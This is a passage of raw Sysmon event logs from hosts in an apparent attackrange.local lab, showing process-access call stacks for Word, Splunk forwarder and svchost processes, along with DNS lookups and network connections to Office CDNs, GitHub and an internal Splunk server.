Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000051009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.975{7BD73061-728B-613B-500B-00000000F001}64441576C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000051008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.974{7BD73061-728B-613B-500B-00000000F001}64441576C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f 10341000x800000000000000051007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.974{7BD73061-728B-613B-500B-00000000F001}64441576C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 354300x800000000000000016390Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:31.513{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50288-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016406Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.816{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B8C292147E58D5CB401A23AE21BD939,SHA256=7A0A457B60372DA32F1540105D2F76DB1F02C0070D20F94404D02ECE5205A99A,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000051241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.100{7BD73061-728B-613B-500B-00000000F001}6444binaries.templates.cdn.office.net0type: 5 binaries.templates.cdn.office.net.edgesuite.net;type: 5 a1847.dscg2.akamai.net;::ffff:2.18.213.24;::ffff:2.18.213.75;C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE 22542200x800000000000000051240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.988{7BD73061-728D-613B-560B-00000000F001}4776avatars.githubusercontent.com02606:50c0:8000::154;2606:50c0:8002::154;2606:50c0:8003::154;2606:50c0:8001::154;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.985{7BD73061-728D-613B-560B-00000000F001}4776avatars.githubusercontent.com0185.199.111.133;185.199.108.133;185.199.109.133;185.199.110.133;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.983{7BD73061-728D-613B-560B-00000000F001}4776avatars.githubusercontent.com0::ffff:185.199.110.133;::ffff:185.199.111.133;::ffff:185.199.108.133;::ffff:185.199.109.133;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.870{7BD73061-728B-613B-500B-00000000F001}6444metadata.templates.cdn.office.net0type: 5 templatesmetadata.office.net;type: 5 templatesmetadata.office.net.edgekey.net;type: 5 e26769.b.akamaiedge.net;::ffff:2.16.218.50;::ffff:2.16.218.40;C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE 10341000x800000000000000016405Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.191{625C326B-729A-613B-FA04-00000000F101}24083152C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016404Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-729A-613B-FA04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016403Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016402Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016401Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016400Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016399Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016398Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016397Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016396Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016395Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016394Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-729A-613B-FA04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016393Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.003{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-729A-613B-FA04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016392Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:34.004{625C326B-729A-613B-FA04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000051236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.866{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local60716- 354300x800000000000000051235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.846{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57536- 354300x800000000000000051234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.840{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60716- 354300x800000000000000051233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.840{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53395- 354300x800000000000000051232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.526{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59571-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.482{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59570-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.482{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59568-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.481{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59569-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.470{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59567-false10.0.1.12-8000- 354300x800000000000000051227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.465{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59566-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.446{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59565-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.434{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59564-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.427{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59563-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.427{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59561-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.427{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59562-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.426{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59560-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft 